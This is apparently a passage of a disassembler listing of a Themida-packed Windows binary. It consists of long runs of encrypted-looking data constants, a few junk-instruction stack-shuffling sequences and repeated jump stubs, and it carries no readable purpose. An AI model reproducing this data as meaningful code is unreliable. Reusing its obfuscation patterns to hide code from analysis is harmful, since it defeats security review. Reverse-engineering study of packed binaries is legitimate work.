1A31D073h, 702DCFFh, 6DCC7C9Bh dd 0FA6BDF3Bh, 9Fh, 1EBD5C52h, 0C3C5D4Ch, 4ECA67FCh, 477C23A2h dd 0E1FF3835h, 22CE0FC2h, 6E03193Eh, 3FB6805Dh, 0F89F5388h dd 9423C44Dh, 2EE27DEh, 0EFA3E083h, 0E54CE3BCh, 161A0641h dd 0FEBD9F3Ah, 4DEE0B4Ah, 0A14514B6h, 91B6BA66h, 0D39D3EBAh dd 0FBB895DBh, 469B0F44h, 57522CAFh, 9E1697A1h, 0EE89C1Fh dd 0EE721E57h, 2905F5D2h, 0B2D1657h, 60AA0026h, 43FC9B8Bh dd 0BF63620Eh, 52F99084h, 6D56691Dh, 8D35F4D6h, 699E1557h dd 0C47FE90Dh, 99A72E2Dh, 68CCB8F7h, 41B7728Ch, 2194208Ah dd 5C038945h, 5D4C1EBDh, 67F9A1AFh, 6586D815h, 0CE1892D9h dd 8175B657h, 0BBD2C8A5h, 40793008h, 35544024h, 56E5598Eh dd 656678ADh, 1B6C68F3h, 0E2604B01h, 294265Dh, 712D4A26h dd 0F243C12Ah, 22C1E20Bh, 0D58C5C03h, 13A6B89Ch, 0A21C3172h dd 25376C13h, 0E5ACF096h, 0E06972DEh, 3F23CFF3h, 0AA5D7C2Ah dd 942FB96Dh, 568B34FDh, 23E6F8E2h, 0EAFA859Fh, 55DEFB77h dd 1C8D79AEh, 3, 326D5F70h, 52493D80h, 19B06499h, 4F463A75h dd 32A95D9Eh, 34533F7Eh, 26A55190h, 39504481h, 30A75B94h dd 0CF554178h, 6CFE68h, 243C8900h, 321468h, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 615A54Bh mov ebp, [esp] add esp, 4 push 58BAh mov [esp], esp add dword ptr [esp], 4 pop esi push edx mov edx, 8 add edx, 789D4497h add edx, esi sub edx, 789D4497h mov [edx], ebp pop edx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 0A9h dd 81C29228h, 7985EC36h, 0B8198A14h, 615A9FDh, 0E0FFC503h dd 2FB86E48h, 399CC6D7h, 6D8097C9h, 757020D4h, 4C557A4Fh dd 386C8E48h, 39052637h, 242CB9C7h, 54D0AA84h, 46BE591Ch dd 626B2E23h, 4993B173h, 6620D96Bh, 54B4DE44h, 0A42DC59h dd 5CD48420h, 77310891h, 79B8AEE2h, 7C80AD32h, 13466E9h dd 2FD4FAAEh, 745225A6h, 47A15338h, 700E6E8Fh, 2EE9h, 0CB338F00h dd 0Ah, 9 dup(0) dd 0E9000000h, 534h, 0AE2A6D1Dh, 8E4A8127h, 0B5296207h dd 88448126h, 0AC205F11h, 5C1042BEh, 771AA11Dh, 4FF38236h dd 6A219814h, 0AA967935h, 0D9D743FFh, 7E46A36Bh, 265B04D7h dd 0ACE18A51h, 0F02FE1F8h, 0DB06BD3Ch, 0CC7C9230h, 900726Dh dd 6DCC7CB9h, 0BE5015Dh, 0CC7CA220h, 0AE6426Dh, 93C87F16h dd 940E8DFh, 3BFE621Dh, 8E2D4A89h, 40752EF7h, 3DAC3D2Eh dd 2F6B9AA7h, 0D054407Bh, 7D5FD7F4h, 0D6CA0BBEh, 10B67D5Ah dd 84D2FBD5h, 5516D379h, 36C5794Eh, 0CFA15590h, 491E530Ch dd 0F29EDF92h, 1F52ED3h, 0FCA8E58Ah, 38EC2BDDh, 58F78A3Ch dd 902FC274h, 26A2DD91h, 8328F8AFh, 2F762A46h, 6DCCA296h dd 6E8B2A99h, 336A57A3h, 6A9F4813h, 71DB8Dh, 0D7310000h dd 6E225F04h, 0A55ED5F2h, 6FD58470h, 0B06DCC7Ch, 9C75700Fh dd 7C336B35h, 11h, 0C0754982h, 3AD521E6h, 301D3443h, 0C5A216C6h dd 0A87A32FFh, 58DCC801h, 5B11887Ch, 0B6597024h, 0D1F28D79h dd 164DF332h, 4C01B8A2h, 7CD46E1Dh, 34306DCCh, 0C3656410h dd 0B0949084h, 3267209Bh, 461D3318h, 6241103Ah, 0CC201BA7h dd 431FFB6Dh, 321AB026h, 34533F7Eh, 0ECA1558Ch, 57F938D7h dd 6E15A418h, 0CEB48930h, 0F2CE238Eh, 0A9E287FEh, 97D4ACFDh dd 5AD97A82h, 52F106EFh, 0DBEB36B3h, 96CB336Ah, 41000000h dd 533F7E32h, 0BE0407D9h, 8F6DCC7Ch, 73EF9FDCh, 0F8D50CB4h dd 334D863Bh, 0DAC603A8h, 7CA2E34Dh, 0EED2B78Eh, 0BC0F9BC9h dd 728767E1h, 7967F9B4h, 0CC943092h, 8358D46Dh, 0F6C501A0h dd 0FE6B174Eh, 4C25792Eh, 17341057h, 0D7A9E89Ch, 51265B04h dd 1B5A0E8Dh, 7EBB7067h, 136ED6Ch, 5A693AECh, 0B2833EBBh dd 5363336Ah, 0A9000000h, 533F7E32h, 13B88E34h, 8F462AD6h dd 0D1C5A1DAh, 2CAE45DEh, 8CA21952h, 0A118BFB5h, 0CCFD48FAh dd 9BB0AC6Dh, 0B12D6C20h, 437A321Bh, 0EE545729h, 66DCC7Ch dd 7CCD7534h, 4D296DCCh, 3525429h, 6DCC7CBAh, 42A73E7Dh dd 336B356Fh, 14Fh, 7B32BD00h, 90374E42h, 7C1CA665h, 7CF86DCCh dd 0EB38658h, 74B156D5h, 433DA757h, 0E8A3D078h, 6DCC7C5Ah dd 65825EBAh, 4FF63FD6h, 0B63DA216h, 0BB604B25h, 4B67FC06h dd 863EFDCFh, 0FAD60BB4h, 0F9AB2A06h, 8D6AC6BAh, 631C9F91h dd 9DE422Eh, 0E8649952h, 9C8FBA71h, 94238A26h, 927E62BEh dd 238A7DC3h, 0B251F294h, 0FF434618h, 1794238Ah, 0CE753E1Bh dd 0ED962599h, 16CDCCB8h, 8C689D46h, 1A0C398h, 76326720h dd 7B3FEAC3h, 126CA39h, 5C400000h, 8D4C1EBDh, 68F5A1D6h dd 36D0358Bh, 390E3239h, 0CF823927h, 19CA98Eh, 7260F2BFh dd 0F59DAE55h, 0D6967FCh, 94C98219h, 1AEAA118h, 67223C71h dd 943CD4DBh, 0F03DF3Bh, 81D7301Dh, 1F26497Ch, 0A5DA914Ah dd 0F835DAF1h, 0A0D78D0Ch, 8B2AF9F4h, 9C334845h, 5B9EE95h dd 0AFEAA01Bh, 960CE59Ah, 4BEC397Ah, 5E000000h, 401AC15Ch dd 0CC7CD949h, 35F2DBEDh, 96CB26FEh, 645EE4A7h, 0BAB6EDCCh dd 306B1F96h, 170BE044h, 8E09CD12h, 0C198C9BFh, 0F4BA9F05h dd 9C886CCDh, 0CC8275CDh, 0AA95AEDh, 4719C255h, 0CC82DE44h dd 0BE7AF66Dh, 7345h, 0BD5CB700h, 437E1815h, 597DABE7h dd 0F3E78487h, 0C39F67FCh, 0DA0FB8CFh, 57983900h, 863DBC82h dd 6BC7F51h, 0A9F0AECBh, 943C931Eh, 4ED76E55h, 97EC6095h dd 8A815B80h, 9E094A1Ah, 0D07DB398h, 0C7279DDAh, 8074F0B2h dd 792D6209h, 8470AD62h, 7B276005h, 0FCC05F40h, 4318B74Ah dd 565527B4h, 9422D7CEh, 1750F5C4h, 30F2076Bh, 0C6BAF599h dd 34D2866Ah, 235E04D7h, 87D6F36Fh, 6F916B70h, 0CC7C06BCh dd 6582DE6Dh, 0A7089893h, 0CCA867F9h, 0D50AC1D8h, 0EB29E259h dd 739328C4h, 190DE9C0h, 0B0F19427h, 8F57EB9Eh, 0B3AF9426h dd 0C54ED96h, 0F0CFE1C4h, 0E217D051h, 0D38EF66h, 0C00CA41Eh dd 0A3494080h, 0B86C886Ch, 51F198C6h, 0B580C00Ch, 7417A4B9h dd 0C9ADE49Ch, 0CF06BEDDh, 0C2FFA423h, 6D049BCEh, 0A73EF55Fh dd 0C97E3D23h, 0ED9C988Ch, 80C00C55h, 1B98B5B1h, 0B6EB9464h dd 0CE8A66CAh, 8BB66DECh, 0C00C22A0h, 8A66C280h, 83DE66Dh dd 86BD63F6h, 324B571h, 98000000h, 80326D5Fh, 9952493Dh dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h dd 94395044h, 7830A75Bh, 68CF5541h, 6ADh, 56242489h, 4BEh dd 24740100h, 0EC835E04h, 24148904h, 151B68h, 243C8900h dd 5DCBE56h, 814E6C0Ah, 0F45AC6EEh, 8BF28965h, 0C4832434h dd 505B6804h, 24890000h, 24048124h, 4, 0BE56535Fh, 8, 15EF389h dd 5B1389FBh, 51243C8Bh, 0C181E189h, 4, 4C181h, 0C870000h dd 34FF5C24h, 0C4835A24h, 0D026E904h, 2754FFFAh, 15AFD0B8h dd 0FFC50306h, 87D49E0h, 0EAE19507h, 0CED20A3Dh, 0B6766150h dd 0A7853941h, 76135731h, 0D82CF241h, 774D8256h, 4CC5BA28h dd 0CB537474h, 0C6CEDB05h, 4AE80230h, 34847B08h, 0CEE52F7Bh dd 164E957h, 0EBAA0000h, 6A783624h, 4ED08576h, 5A914D8Ah dd 542B0A57h, 54F0535Ch, 5A970A5Fh, 739D5354h, 268F3A7Fh dd 728C532Dh, 0C62ED1D6h, 0B4BD9DD2h, 1697526Ah, 128531Bh dd 0 dd 40000h, 2 dup(0) dd 2F0000h, 0 dd 80000h, 0 dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Eh dup(0) dd 0B2E90000h, 68000016h, 615B40Dh, 0FB98EBE9h, 0B4D068FFh dd 0E1E90615h, 68FFFB98h, 615B5B5h, 0FB98D7E9h, 0B69D68FFh dd 0CDE90615h, 68FFFB98h, 615B82Fh, 0FB98C3E9h, 0B96D68FFh dd 0B9E90615h, 68FFFB98h, 615BA25h, 0FB98AFE9h, 0BAD968FFh dd 0A5E90615h, 68FFFB98h, 615BCEAh, 0FB989BE9h, 0BD9C68FFh dd 91E90615h, 68FFFB98h, 615BEA2h, 0FB9887E9h, 0BF5768FFh dd 7DE90615h, 68FFFB98h, 615C0E4h, 0FB9873E9h, 0C62068FFh dd 69E90615h, 68FFFB98h, 615C711h, 0FB985FE9h, 0C779CEFFh dd 7B352B9Ah, 0CC7ED726h, 7C2E2697h, 0CA84D627h, 5CDFA795h dd 0A6174C06h, 59ACF9B3h, 0AFFE5305h, 2FADE29Ch, 0F7404F9Ch dd 0BB151DDDh, 0B2AB5ACFh, 75665F00h, 96C514BBh, 3C2287DCh dd 7D0A7948h, 17C844DAh, 0E1E28B7Bh, 0D85A8C96h, 0A42BDB1Dh dd 0B82F3457h, 0FEB8AA11h, 681A327Fh, 6F0AD969h, 0CF0C8E48h dd 5513E3Dh, 9B7732A1h, 0BE93CA35h, 404F9C4Bh, 1511B827h dd 74944869h, 45000000h, 0E4EB9DB8h, 0EF8E4095h, 1C4E0F43h dd 3B5EA95Ah, 1A17C845h, 82B0416Ah, 657603FAh, 88A754ABh dd 0CD17C844h, 0F8838021h, 1DD844EAh, 9672D28Dh, 0EAC10283h dd 0A9CC17B6h, 3511B822h, 0A7646B25h, 0FF7137ECh, 71624F35h dd 560AC416h, 0B9987C37h, 0D82C4C65h, 7E9851D0h, 20F2AB22h dd 0BE9407BAh, 0D33023D2h, 0B8010928h, 0F4A04C11h, 0CC31ABh dd 5A790000h, 0D3498A3Dh, 3879AACDh, 0D6217ECDh, 17C892C3h dd 92C3D621h, 0E29217C8h, 0BDC4907Ch, 5B70FD6Eh, 934356A1h dd 621217C8h, 0DC96CC39h, 8C3E98E5h, 7261B0E3h, 97CC19B8h dd 0DF3788DDh, 9517C897h, 0E6D78C46h, 31943BF5h, 0F98A790Dh dd 8BF8558Ch, 17C88DECh, 0EAE9BD69h, 6694733Ch, 0B11DD89Ch dd 0CE1B90C5h, 11BDC476h, 89FD6150h, 37BBCD3Ah, 0D0BC17CBh dd 843E94E1h db 0CFh, 0DEh word_5A686A dw 32ECh ; DATA XREF: Themida_:0054BEACo dd 12E26AB4h, 15ABAEE2h, 13CDh, 1946F84Fh, 0A5FAB4ACh dd 164BFD58h, 0A6FBADA7h, 1C490357h, 85D55828h, 322796CBh dd 84DA2B78h, 1B307DD2h, 21B03461h, 0DDF8C3D6h, 4434921Dh dd 8E653D5Ah, 0AEAB5EC2h, 8C218EDh, 0BF796A5Bh, 1A48C892h dd 0E2E08B62h, 951DD845h, 0F69DEAE9h, 0D911B844h, 0F714CF6Ah dd 6147E4F6h, 36ACF554h, 0BE932FB0h, 0AAA1h, 75CE900h dd 6599764Dh, 0D80FFA1Ah, 0C815BEDFh, 0A7CA3592h, 0AE17C880h dd 0A0EB92BEh, 17C88558h, 580DC71Ch, 15BC7665h, 7F68EB4h dd 0D88A3E7Ch, 558CD91Dh, 902FE9FAh, 0ADE2AEE2h, 2F7E062Ch dd 0CB21B5C4h, 0FDF4A017h, 0F3A05A70h, 0A016D002h, 0E212F5B0h dd 0A3FD5D4h, 8C000013h, 1F4A153h, 6D4015CFh, 0CF9A658h dd 84711ED0h, 6DBF944Eh, 16D00285h, 0AB657C49h, 1DCF07F6h dd 0AC667548h, 1966F5F7h, 1DDDF976h, 5C9981DFh, 0A6174C06h dd 7504FBB5h, 0DC7B0865h, 7917C844h, 0CD98D98Dh, 4FE28DDEh dd 617C845h, 5C155516h, 5DB0AC07h, 6412B16Bh, 0B1E59130h dd 0D690C312h, 60213C89h, 0AE88BB77h, 0E8CAEFE9h, 770CD7BAh dd 4410CAFFh, 2F247110h, 10B82075h, 0CA394DF1h, 0D8D2FB3Dh dd 0D3EAB1Dh, 7A2A0A53h, 0E887F483h, 0FE11B88Ah, 520D13CDh dd 38FAAEE5h, 0A7C89C07h, 5146E8B3h, 0D8860943h, 0D0A24DA4h dd 7203EF7h, 29157817h, 4115E55h, 5D1A326Bh, 9EA719A2h dd 2E6225CAh, 672132BFh, 3EF8E998h, 2A1E933Fh, 0FCA55170h dd 4D075CA9h, 0ACAF7D6Fh, 922AA9DFh, 1225h, 51FEB0A7h dd 0DDB26C64h, 4E03B510h, 0DEB3655Fh, 5401BB0Fh, 3D8D10E0h dd 0EADFCE83h, 3C926330h, 0F3E8D58Ah, 0F9886C39h, 0DDF9EB8Eh dd 1C0C6A1Dh, 5CB7AB5Ah, 82304F01h, 23388DCEh, 5B076A69h dd 0E11FCC23h, 161DD867h, 97CC3966h, 0EF53B6DDh, 6BDB2897h dd 4817CDD2h, 0CFEEA8BBh, 0F1806F23h, 8A7B28E2h, 0CF209F59h dd 57763022h, 43EF02ABh, 2435C43Bh, 0F6B7636Ah, 215E620Dh dd 53A411B8h, 8CBF89A8h, 6520CC05h, 8188560Fh, 0E84C157Dh dd 1E38C53Ch, 8D3F976Ch, 0E190DFE4h, 47EA95F2h, 0E058CFEh dd 0DF8B325Eh, 830ABC12h, 1C2F96D7h, 81D58FC1h, 38F2E1D4h dd 720A3899h, 0DA0FEC7Bh, 3D5CA7C9h, 18058C57h, 99B3296Ch dd 0C2120043h, 7BEFFE3h, 0B0436166h, 10FC0B9Ch, 3C10A29Ah dd 0D56BEEEEh, 113Dh, 89D688BFh, 356A243Ch, 86DB8DC8h dd 366B1D37h, 8CD993C7h, 1545C8B8h, 0A2B7065Bh, 144ABBE8h dd 8BC02D62h, 0D12084D1h, 0DDFB1326h, 0F4A4421Dh, 174C065Ch dd 0E9D8AC92h, 0D866349Eh, 0CE3931Dh, 129F4DEFh, 388DCB19h dd 90436C1Eh, 0B581241h, 0F64EA9BAh, 0C5913D44h, 5FF27DEEh dd 0F611B79Ch, 0CB2E6506h, 46C01067h, 7B00D355h, 1F9E5086h dd 1FD01F73h, 0E21423D0h, 554111B7h, 0EBA5BB0Ch, 0D2C217C7h dd 0B16B5EABh, 0D690C312h, 15D04FB7h, 0D87E115Eh, 27D70BA7h dd 2AD7287Bh, 0AF347D37h, 520C3FF6h, 731FA05Bh, 8706B80Eh dd 0AA9678DBh, 69703576h, 85F2C1C5h, 11B81C2Bh, 84D1F09Ch dd 9FEE954Fh, 81D0EFA9h, 0F218864Fh, 0B9242DE5h, 0F467E6EDh dd 33A82D39h, 0F38BB77Ah, 9F196FFCh, 0B03D0BA7h, 23E0DF99h dd 5F34E7ABh, 0D29BC78Fh, 10DDB262h, 43B201BBh, 0E8A2B70Ah dd 6A693DE9h, 93E0F3BCh, 0FF87E000h, 0EC9954C3h, 95683DF7h dd 0A4058C46h, 88F7C6BEh, 0BFED8CF7h, 8CF7FF87h, 0FF87BFEDh dd 0C6B6BC68h, 0CF7C22A5h, 22B30597h, 0AB577630h, 0B088A754h dd 21CDF977h, 7DB82075h, 0A7166ED4h, 8D60F45Ch, 671FCFFFh dd 0EF8E489Ah, 0BD3EE3A0h, 0B8095437h, 1A7D10F7h, 0E14DF362h dd 4DD9269Dh, 36F977CAh, 670F1637h, 0A2EE885Eh, 0F3AD9E4Bh dd 42FC4F9Eh, 0F07BEC3Bh, 0ED4C5961h, 5E6708F4h, 3234B26Ch dd 56006C54h, 0FABBD53h, 1A2D0000h, 96CA3B68h, 1F3687DCh dd 8FC5386Dh, 253588DDh, 7E46366Bh, 0B8EDA7BBh, 55A1445h dd 0B7EC9EB8h, 65B1546h, 89A853A6h, 0CC1DDDFCh, 65C8672h dd 0D6FDB7ABh, 0D4277C28h, 557C3625h, 0CEFD08A9h, 2B206D14h dd 0DEF38271h, 0EE587B24h, 0CCFFB66Fh, 0C74D3D12h, 0B6B883B7h dd 167h, 4D075C0Ah, 51AF546h, 0D8C19ABFh, 8EC27CD4h, 29E3F8CDh dd 0B5C9757Ch, 63D2AD3Eh, 2E21741Eh, 0C61F797Eh, 731FAAC7h dd 0C843DD2Ah, 78241DD8h, 9D670E59h, 0F96811B8h, 5BFC6240h dd 43EDBE93h, 35000000h, 8B621A48h, 0D845E2E0h, 0EAE9951Dh dd 0B844F69Dh, 97F2E811h, 56048B3Dh, 0C734830Ah, 11B844A8h dd 0D8F4C1ADh, 0E3FCA726h, 9B83C4Ah, 0B80C9270h, 0D324BE93h dd 0B8510928h, 0FFA04C11h, 9EDDh, 75C2500h, 899764Dh, 138C9D18h dd 0FD4C8728h, 1D6C13CDh, 4D742Eh, 51A211CBh, 0C85393A6h dd 89D2C217h, 5913EBDCh, 726117C8h, 8908C217h, 0C93A89DDh dd 0C84F1B3Eh, 214A3A17h, 8DF15D44h, 424C936h, 412D1DDBh dd 15CF0372h, 0A35D6D40h, 3144D45h, 5AF271DCh, 0E6Dh, 7926D8EFh dd 0C59A548Ch, 762BDDF8h, 0C69B4D87h, 7C29E3F7h, 65753808h dd 0D207F6ABh, 647A4B18h, 0BB10DDB2h, 1505401h, 0DDFDE376h dd 24D4721Dh, 174C065Ch, 65AB5A6h, 0DDF8454Ch, 0AAF6A42Bh dd 5C01A9F6h, 92FB3E07h, 0ECE48044h, 8807C117h, 0CA3786DAh dd 8B6DD97h, 0EEDD2C67h, 3D8E5F34h, 0B599FC83h, 1D25E2D1h dd 51309A52h, 7B08FBA4h, 1DD927CDh, 16E5BA6Ah, 0CA771A65h dd 2EDE11B8h, 7AA4F6Dh, 5C530000h, 0FA454C06h, 17C84553h dd 3CB3CB77h, 0DDF53FAFh, 59A8541Dh, 0A8FDB7ACh, 754C0655h dd 511ACC08h, 25DFF342h, 619ADC7h, 0E27AF9DCh, 0DB5h, 216E2037h dd 8DC27CD4h, 1E732520h, 8EC375CFh, 24712B1Fh, 0AD9D6050h dd 0FA4F9EF3h, 0ACA21340h, 358A5FAh, 49981C49h, 0DDFE9BBEh dd 6C1CBA1Dh, 5EA9065Ch, 17C8453Bh, 69366A1Ah, 68D479Ch dd 0E3EAA4B7h, 6BFC7Bh, 17C84571h, 47EA95E4h, 0E17C845h dd 7A69325Eh, 617504BFh, 396210AFh, 88DD97CCh, 83B78C12h dd 3853A4B8h, 95C01F7Fh, 6B0EF93Ch, 0EA17C91Dh, 0D6B713Ah dd 0BF000000h, 0C8502C5Eh, 0DE7F3D17h, 3FFFFFDh, 0C845375Eh dd 0D7AF9317h, 0F5A39BE8h, 14001DDDh, 41FB509Dh, 0F8B2A114h dd 9C568CD9h, 6193E1Eh, 71078ADCh, 0D01h, 0C59A4C83h, 7926E0F8h dd 0F29F518Ch, 4A17C903h, 0F8AD677Bh, 0E9F9BC84h, 3E93622Fh dd 0E8DECF84h, 479C6936h, 85D4D88Dh, 0DDFF57FAh, 0B860FE1Dh dd 464D075Ch, 0D32AE4F7h, 337C2E26h, 0EA736A0h, 0F9B3A855h dd 44FE4DB8h, 0B8157B0Fh, 0D04B883h, 5C000000h, 0C8502C5Eh dd 567F3D17h, 3FFFFFDh, 0FBB5AB5Ah, 6C8526D4h, 84EFBEC6h dd 1DD866FAh, 0CD1AB965h, 11B822A7h, 3026D32Ah, 2BC6DD7Eh dd 93D5D157h, 1DBC0BEh, 5E080000h, 17C84567h, 0A5B64F78h dd 1447B6EBh, 0C216635Ah, 0DF2C6708h, 17C845B4h, 0BB6A039Ch dd 40A1EEA8h, 7B95A1Fh, 0AF3AC4CEh, 34E2E19Bh, 53E69160h dd 217C92Bh, 0F23F3E12h, 897A27E1h, 0A52CE6FCh, 0FE4DB8F9h dd 0CBF23D44h, 0F317C92Bh, 4D9C23DDh, 954241FBh, 4F5363FEh dd 75046F00h, 0E017C92Bh, 19B29C25h, 8CD8E734h, 4D25C0E3h dd 0B88350C7h, 164B6h, 75C0A00h, 0E4F7464Dh, 455DFC87h dd 0CF817C8h, 0B8A60B58h, 0EF7EEDC4h, 51A01FD9h, 56174BFDh dd 0D85A6771h, 6D14001Dh dd 0B82F0B22h, 522DC411h, 0CB71E46Ch, 0F1F2BBD2h, 0A5F45A38h dd 37E5BE94h, 3D000000h, 8B621A48h, 0D845E2E0h, 26D3241Dh dd 53FF7E30h, 0B844D160h, 8AF58411h, 11B844E7h, 89D27E6Eh dd 87D4FBABh, 11B844E4h, 0E9B974EBh, 0BE93B783h, 0D172h dd 75CB600h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 2539C837h dd 887B2A73h, 9AA4CD8Bh, 0A0C1FE2Dh, 0C9565727h, 0C31E2D17h dd 1ADD48Eh, 0A6EA5946h, 0EBB7AE2Fh, 0A0B845B6h, 723BE7E6h dd 54ABD37Fh, 459B4A5h, 0D37F2B52h, 665DFEACh, 0B7716815h dd 2FFC11F6h, 27E41DDBh, 12315AACh, 0CA7CD1FBh, 0A05FD596h dd 718602F1h, 3A89DD0Eh, 1A85CEC9h, 0D7B17702h, 611B2F96h dd 15687592h, 12C3D621h, 0E29211B6h, 1BE08B9Fh, 0B0A21352h dd 441600F6h, 373ADC03h, 0AF0A1h, 0AB5D7200h, 17D107F6h dd 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h, 0A21340FAh dd 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 0E47300h, 0D7711DDEh dd 4C065C23h, 0FBB5A617h, 75CFCA6h, 0E4F7464Dh, 455DFC87h dd 0CF817C8h, 0C61C6958h, 6A02630Ch, 460h, 833473Eh, 20CB225Ah dd 1DDDF5C9h, 573810FCh, 0CF1C93EBh, 17C2AE95h, 13C5196Ah dd 74FF703Fh, 0BA278E5h, 38EAE370h, 4390436Ch, 0BA27930h dd 9D75309Fh, 0C4A98037h, 3EB26h, 375E7A00h, 0A917C845h dd 17C84491h, 1C93EB57h, 0D84C75CFh, 5C5A4A1Dh, 0DC00729Ch dd 3E4BE1E0h, 0C000000Ah, 2D80D587h, 0C134611Bh, 3885DA8Ch dd 0C8356A1Ch, 0B98BD892h, 5A1446C9h, 0E7A1B805h, 61134BBAh dd 0D892C134h, 2DDA298Bh, 1DDE020Ah, 5CFDAD4Bh, 0E3464D07h dd 49B8077Fh, 0AE5C6315h, 816916EDh, 0D91DDDF5h, 93BADD2Ah dd 0EB9B11B2h, 0EBC2B2C2h, 0CA934D7Eh, 88D9289Bh, 3E248DCEh dd 3BAFEA37h, 398D44C6h, 97E4DB87h, 11B2E3F8h, 0EE5B15Dh dd 0EFB06A5Fh, 94876714h, 8EDB17C8h, 0ADFC833Dh, 3AE8E799h dd 3F2F4566h, 16D00170h, 33FF7E49h, 381B0B9Dh, 8201B3ABh dd 31EBDFD4h, 41B0E492h, 0BCE59FB4h, 1C691AE9h, 0C57110C2h dd 9D325FF2h, 4B06F60Bh, 0D66183E4h, 0D035764Ah, 0C0CF1C79h dd 950B9C91h, 0C516BDE9h, 0D993C736h, 96B90CBAh, 0BF0B9C91h dd 24378ECFh, 5C02636Ah, 322CD928h, 97E4DF80h, 11ACB215h dd 0D80B7A09h, 0F39F1Eh, 58C7271h, 0FD7738E4h, 3BE99B11h dd 3635E82Ch, 9389Eh, 0F3A5BA00h, 3FF94F9Eh, 0F8AAA312h dd 50025AABh, 0E6A0B203h, 38FBCBB9h, 0CA3B6822h, 3588DD97h dd 0D3226F21h, 1B99C680h, 31C3BC8h, 9F391DDEh, 621A48EBh dd 0F610E08Bh, 0A3521DDDh, 0CAAAF3ADh, 0F8C2AFCBh, 0F0A48430h dd 0CB037201h, 5C6D5819h, 0C900EDA2h, 0FC51A00Fh, 0D697434Ah dd 0A7916EBDh, 3B3338CCh, 731ACC02h, 0DFD29BC7h, 47B40B73h dd 17C8DCE3h, 36C53CE8h, 9D7AA6C9h, 9EB13E0Bh, 0B70B9D7Ah dd 0F4BD69C7h, 0ACD07EDFh, 0F9B3A855h, 80832CDAh, 0ADAAF5F3h dd 6A641111h, 4BC76A15h, 0DE8E058Dh, 3E5F0BB2h, 0DC704636h dd 8E82B61h, 883F389h, 0D2050000h, 4E827320h, 0D7EEBF94h dd 477D7025h, 0DDEDC095h, 36FE6E23h, 0F0A55F73h, 3D12CCFDh dd 0EFA45670h, 3E13CDFEh, 0D1600B5Eh, 841DDE03h, 75C3EEAh dd 0E4F7464Dh, 9C3BA32Ah, 45FF5401h, 0B4147A10h, 0C505B883h dd 5D000001h, 0CF303D5Ah, 8FEB8EF9h, 0BA6A17C8h, 9DD279D7h dd 0D71DDD4h, 441F49B6h, 7C281DD9h, 0E4630A55h, 677B11B8h dd 83D726ADh, 861DCAC9h, 68D7DBEBh, 146FF5CDh, 895EBE93h dd 0A2000001h, 464D075Ch, 0D41A1AF5h, 4F97D6ABh, 43DF23h dd 87D9F9EAh, 4C18C6CDh, 1AA6477h, 9E15CF04h, 973806E1h dd 5B043090h, 0C3BBA70Ah, 4E797FECh, 0FEEE1DD9h, 7253307Fh dd 0B20D8BD5h, 2C3FC8E9h, 0A311B8B4h, 3BA1712Ch, 2ABE9345h dd 27h, 621A487Eh, 45E2E08Bh, 0E9951DD8h, 0F1EC99EAh, 0C992403Fh dd 0B84557FEh, 30C97811h, 93B7CC52h, 0EBBDBEh, 5C050000h dd 0EEB7AC07h, 0E384427Bh, 78174BCFh, 8CF687CAh, 0BEE16E47h dd 0AC9EEB92h, 4D7ECBF2h, 0C65F1C93h, 0B9E25795h, 0F01D2F12h dd 0DA094A62h, 0A0B30291h, 335A1445h, 3986DB87h, 17C94E4Dh dd 451AD407h, 3786FE64h, 0D22539C8h, 1BC7C680h, 0D19A4847h dd 0DBCBE1F6h, 2D84701Dh, 0C22D8AC0h, 11B660AFh, 23AAF6A6h dd 99CD7FD6h, 4C7EEBD8h, 0A726E0F1h, 9FAA7FBh, 0EEAF617Ch dd 1966C317h, 11B66176h, 85632FDFh, 0DC024CB3h, 0F6DC74F7h dd 78000006h, 5F8AD5Fh, 794C19D3h, 10DDB264h, 604D02B4h dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch dd 0E592E1C3h, 1DDE0552h, 5CB56503h, 1B3AB06h, 3180D482h dd 0ACD38DC4h, 297D54EFh, 0BAE6BE46h, 0B23FB4F1h, 40C5E6A0h dd 0AF04510Bh, 46AB39D4h, 590201AAh, 0AA075C11h, 0C8453A5Dh dd 0FAB4AC17h, 0B5DC8874h, 2AA7368h, 27B3837Dh, 621A471Bh dd 40h, 24DEF27Fh, 0FAB0F19Dh, 1539E047h, 82F18271h, 0D225DFF3h dd 17C844BFh, 42C5E696h, 1DDDF5E8h, 75572FDFh, 0BBF10E83h dd 0A8E81CCEh, 68D6DB84h, 0F9529D14h, 0D017C869h, 334E6424h dd 52000000h, 0E2531A48h, 0BF7969CCh, 0F82F12C0h, 0C9386CDAh dd 0D933883Eh, 0D8F7A71Dh, 0B904E78Bh, 55108F11h, 0FDEA68Ch dd 0C9344264h, 5401ED17h, 0E118h, 0AB5A7000h, 3FB2FBB5h dd 65CBC813h, 8140E2EDh, 0A17E11E4h, 86D717C8h, 4CFA9953h dd 40F83D18h, 0C5CA6945h, 7BD32291h, 531CCAC9h, 0CC2B0370h dd 0EC981DDEh, 7A097A09h, 0B36B6A0Dh, 0C83BEB11h, 11B36AA9h dd 0DEF3C0ACh, 0B0F19D24h, 1B05640h, 92048A68h, 60F5BE98h dd 4D000000h, 8B621A48h, 0DDF609E0h, 0AC9E4B1Dh, 7E1FCBF2h dd 41AB06F6h, 6702B157h, 0A1B03BACh, 0B411B294h, 95FBA7C8h dd 0ABBE9967h, 0A530D3Eh, 2E92h, 0A95AD600h, 0C8453B5Eh dd 416A1A17h, 3FA82B0h, 0DDF59278h, 3A351Dh, 1BA86571h dd 0AB1590C4h, 0DD9847CDh, 99949F05h, 288EBEh, 5AD20000h dd 0AD5AB7ABh, 17C8448Ah, 0E687DBCBh, 0C8611FE1h, 46B30A17h dd 86345B15h, 459DF8CBh, 680957BDh, 0FFFEEF14h, 1A486CFFh dd 0DCE08B62h, 8F1DDDF5h, 0D17DE0DFh, 40A956ADh, 1817C845h dd 0F4BD7769h, 47B78580h, 2070FF6Ch, 39E50B9Dh, 2F79875Eh dd 5E0B5C63h, 